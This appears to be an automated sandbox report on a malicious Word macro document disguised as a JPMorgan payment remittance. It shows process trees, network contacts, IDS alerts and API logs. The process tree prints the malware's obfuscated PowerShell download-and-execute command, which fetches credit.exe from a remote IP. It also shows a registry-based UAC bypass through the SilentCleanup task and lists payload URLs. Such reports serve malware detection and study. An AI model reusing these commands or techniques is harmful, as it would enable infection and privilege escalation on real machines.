Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	July 30, 2021, 11:46 a.m.	July 30, 2021, 11:48 a.m.

Size	173.2KB
Type	Microsoft Word 2007+
MD5	`b2633a1d702957694bb470b202ba032c`
SHA256	`f28ecb41b3e4045639a6f85154681721d017ede8908f512508b774a28a4cda9a`
CRC32	`D8160187`
ssdeep	`3072:vBThMhPgo28+RQOLkRoz+GphFmdx6vSBlc1xOH5qgEMKWDv9BNK8x:9WhPFJ+RQOLzRph4uvSBl/HvEMxFRx`
Yara	Contains_VBA_macro_code - Detect a MS Office document with embedded VBA macro code [binaries]

WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" C:\Users\test22\AppData\Local\Temp\JPM_Payment_Remittance_505693.docm
1620
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $v78df0=(00100100,01110111,01100101,00110010,00110010,00111101,00100111,00101000,01001110,01100101,01110111,00101101,01001111,01100010,01101010,01100101,00100111,00100000,00101011,00100000,00100111,01100011,01110100,00100000,01001110,01100101,01110100,00101110,01010111,01100101,00100111,00111011,00100000,00100100,01100010,00110100,01100100,01100110,00111101,00100111,01100010,01000011,01101100,00100111,00100000,00101011,00100000,00100111,01101001,01100101,01101110,01110100,00101001,00101110,01000100,01101111,01110111,01101110,01101100,01101111,00100111,00111011,00100000,00100100,01100011,00110011,00111101,00100111,01100001,01100100,01000110,01101001,01101100,01100101,00101000,00100111,00100111,01101000,01110100,01110100,01110000,00111010,00101111,00101111,00110001,00111001,00110010,00101110,00110010,00110010,00110111,00101110,00110001,00110101,00111000,00101110,00110001,00110001,00110001,00101111,01100011,01110010,01100101,01100100,01101001,01110100,00101110,01100101,01111000,01100101,00100111,00100111,00101100,00100100,01100101,01101110,01110110,00111010,01110100,01100101,01101101,01110000,00101011,00100111,00100111,01011100,01100011,01110010,01100101,01100100,01101001,01110100,00101110,01100101,01111000,01100101,00100111,00100111,00101001,00100111,00111011,00100100,01010100,01000011,00111101,01001001,01000101,01011000,00100000,00101000,00100100,01110111,01100101,00110010,00110010,00101100,00100100,01100010,00110100,01100100,01100110,00101100,00100100,01100011,00110011,00100000,00101101,01001010,01101111,01101001,01101110,00100000,00100111,00100111,00101001,00111011,01110011,01110100,01100001,01110010,01110100,00101101,01110000,01110010,01101111,01100011,01100101,01110011,01110011,00101000,00100100,01100101,01101110,01110110,00111010,01110100,01100101,01101101,01110000,00101011,00100000,00100111,01011100,01100011,01110010,01100101,01100100,01101001,01110100,00101110,01100101,01111000,01100101,00100111,00101001) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) };[system.String]::Join('', $v78df0)|IEX
  2200
  - credit.exe "C:\Users\test22\AppData\Local\Temp\credit.exe"
    2428
    - cmd.exe cmd /c ""C:\Users\Public\Trast.bat" "
      2876
      - cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
        2940
        
        reg.exe reg delete hkcu\Environment /v windir /f
        3024
        
        reg.exe reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "
        3068
        
        schtasks.exe schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
        2108
    - cmd.exe cmd /c ""C:\Users\Public\nest.bat" "
      180
      - reg.exe reg delete hkcu\Environment /v windir /f
        1568

Name	Response	Post-Analysis Lookup
zya3ig.sn.files.1drv.com	CNAME odc-sn-files-geo.onedrive.akadns.net CNAME sn-files.fe.1drv.com CNAME sn-files.ha.1drv.com.l-0003.dc-msedge.net.l-0003.l-msedge.net A 13.107.42.12 CNAME odc-sn-files-brs.onedrive.akadns.net CNAME l-0003.l-msedge.net	13.107.42.12
twistednerd.dvrlists.com	A 185.189.112.27	185.189.112.27
onedrive.live.com	CNAME odc-web-geo.onedrive.akadns.net CNAME l-0004.l-msedge.net A 13.107.42.13 CNAME odwebpl.trafficmanager.net.l-0004.dc-msedge.net.l-0004.l-msedge.net CNAME odc-web-brs.onedrive.akadns.net	13.107.42.13

IP Address	Status	Action
13.107.42.12	Active	Moloch
13.107.42.13	Active	Moloch
164.124.101.2	Active	Moloch
185.189.112.27	Active	Moloch
192.227.158.111	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.102:49166 -> 192.227.158.111:80	2016141	ET INFO Executable Download from dotted-quad Host	A Network Trojan was detected
TCP 192.168.56.102:49169 -> 13.107.42.13:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49171 -> 13.107.42.12:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49170 -> 13.107.42.12:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.227.158.111:80 -> 192.168.56.102:49166	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 192.227.158.111:80 -> 192.168.56.102:49166	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 192.227.158.111:80 -> 192.168.56.102:49166	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.102:49169 13.107.42.13:443	C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 02	CN=onedrive.com	24:8a:fb:ed:16:0d:11:c8:2f:65:3a:66:ca:f1:6f:60:ad:4c:cc:de
TLSv1 192.168.56.102:49171 13.107.42.12:443	C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 02	C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=storage.live.com	77:27:91:d8:e9:91:39:0b:f9:f9:5e:86:3e:37:d5:dc:9d:85:30:49
TLSv1 192.168.56.102:49170 13.107.42.12:443	C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 02	C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=storage.live.com	77:27:91:d8:e9:91:39:0b:f9:f9:5e:86:3e:37:d5:dc:9d:85:30:49

Queries for the computername (8 events)

Time & API	Arguments	Status	Return
GetComputerNameW July 30, 2021, 11:46 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 30, 2021, 11:46 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 30, 2021, 11:46 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 30, 2021, 11:46 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA July 30, 2021, 11:46 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 30, 2021, 11:46 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 30, 2021, 11:46 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 30, 2021, 11:47 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent July 30, 2021, 11:46 a.m.			0	0

Command line console output was observed (22 events)

Time & API	Arguments	Status	Return
WriteConsoleW July 30, 2021, 11:47 a.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW July 30, 2021, 11:47 a.m.	buffer: start console_handle: 0x00000007	1	1
WriteConsoleW July 30, 2021, 11:47 a.m.	buffer: /min C:\Users\Public\UKO.bat console_handle: 0x00000007	1	1
WriteConsoleW July 30, 2021, 11:47 a.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW July 30, 2021, 11:47 a.m.	buffer: reg console_handle: 0x00000007	1	1
WriteConsoleW July 30, 2021, 11:47 a.m.	buffer: delete hkcu\Environment /v windir /f console_handle: 0x00000007	1	1
WriteConsoleW July 30, 2021, 11:47 a.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW July 30, 2021, 11:47 a.m.	buffer: reg console_handle: 0x00000007	1	1
WriteConsoleW July 30, 2021, 11:47 a.m.	buffer: add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM " console_handle: 0x00000007	1	1
WriteConsoleW July 30, 2021, 11:47 a.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW July 30, 2021, 11:47 a.m.	buffer: schtasks console_handle: 0x00000007	1	1
WriteConsoleW July 30, 2021, 11:47 a.m.	buffer: /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I console_handle: 0x00000007	1	1
WriteConsoleW July 30, 2021, 11:47 a.m.	buffer: exit console_handle: 0x00000007	1	1
WriteConsoleW July 30, 2021, 11:47 a.m.	buffer: ERROR: console_handle: 0x0000000b	1	1
WriteConsoleW July 30, 2021, 11:47 a.m.	buffer: The system was unable to find the specified registry key or value. console_handle: 0x0000000b	1	1
WriteConsoleW July 30, 2021, 11:47 a.m.	buffer: The operation completed successfully. console_handle: 0x00000007	1	1
WriteConsoleW July 30, 2021, 11:47 a.m.	buffer: ERROR: console_handle: 0x0000000b	1	1
WriteConsoleW July 30, 2021, 11:47 a.m.	buffer: The system cannot find the path specified. console_handle: 0x0000000b	1	1
WriteConsoleW July 30, 2021, 11:47 a.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW July 30, 2021, 11:47 a.m.	buffer: start console_handle: 0x00000007	1	1
WriteConsoleW July 30, 2021, 11:47 a.m.	buffer: /min reg delete hkcu\Environment /v windir /f console_handle: 0x00000007	1	1
WriteConsoleW July 30, 2021, 11:47 a.m.	buffer: The operation completed successfully. console_handle: 0x00000007	1	1

Uses Windows APIs to generate a cryptographic key (40 events)

Time & API	Arguments	Status	Return
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035e4d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035e210 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035e210 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035e210 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035de10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035de10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035de10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035de10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035de10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035de10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035d910 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035d910 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035d910 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035e410 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035e410 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035e410 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035dfd0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035e410 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035e410 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035e410 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035e410 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035e410 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035e410 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035e410 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035e2d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035e2d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035e2d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035e2d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035e2d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035e2d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035e2d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035e2d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035e2d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035e2d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035e2d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035e2d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035e2d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035e2d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035da50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 11:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0035da50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx July 30, 2021, 11:46 a.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header, Connection to IP address

suspicious_request

GET http://192.227.158.111/credit.exe

Performs some HTTP requests (4 events)

request	GET http://192.227.158.111/credit.exe
request	GET https://onedrive.live.com/download?cid=D6676A9A61E841F3&resid=D6676A9A61E841F3%21106&authkey=ABWUN04e3lg3neg
request	GET https://zya3ig.sn.files.1drv.com/y4mhGDkKmL3VDLSUrEWHAJjnel-AVhbdeVNYyQnBqeWWrlxrQZ9NszEAsvT8XGLPe7mkz9QTC2UI2gLMghScHsnFP_Z6_KMpHHOIsKBYLdy8Z_oB67tIlMC6eqSbrKMSaRvkdLdJNSecdujzF4iBhESi-AinVSWep0qzarT4IY-QFmPWqsXK9v3smoVL9-Ky_SUCQSiGojuKkheE7LkfMcRgw/Boplulwvphysvkdwcittsyporhfrcui?download&psid=1
request	GET https://zya3ig.sn.files.1drv.com/y4mOTz_QAR6NiYt2v34fuSPi5mluFwXvFkGg8tgtdufNHC3Zp9FIYVKG-COsmBXTAwBxjc8xosZ0KnX7YbZwmx2gL8VpE8j5-03OKW0BG2tczyDzTjZtpuri4UXT7gVUL5_4LtiWlB8bzeQv8EGyVBirb0QKQzgVoopEqx_2Y5-ilTcGCMR2XMNsrjj0y-XdrvdZ12IIfBEs2MBrH5lxUUseg/Boplulwvphysvkdwcittsyporhfrcui?download&psid=1

Allocates read-write-execute memory (usually to unpack itself) (50 out of 152 events)

Time & API	Arguments	Status
NtProtectVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 1620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00555000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 1620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00555000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 1620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00555000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 1620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00555000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 1620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00555000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 1620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00555000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 1620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x69094000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 1572864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027b0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x68a11000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0268a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x68a12000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02682000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02692000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028f1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028f2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026ba000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02693000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02694000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0270b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02707000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0268b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026b2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02705000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02695000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026bc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b80000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02696000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0270c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026b3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026b4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026b5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026b6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026b7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026b8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026b9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
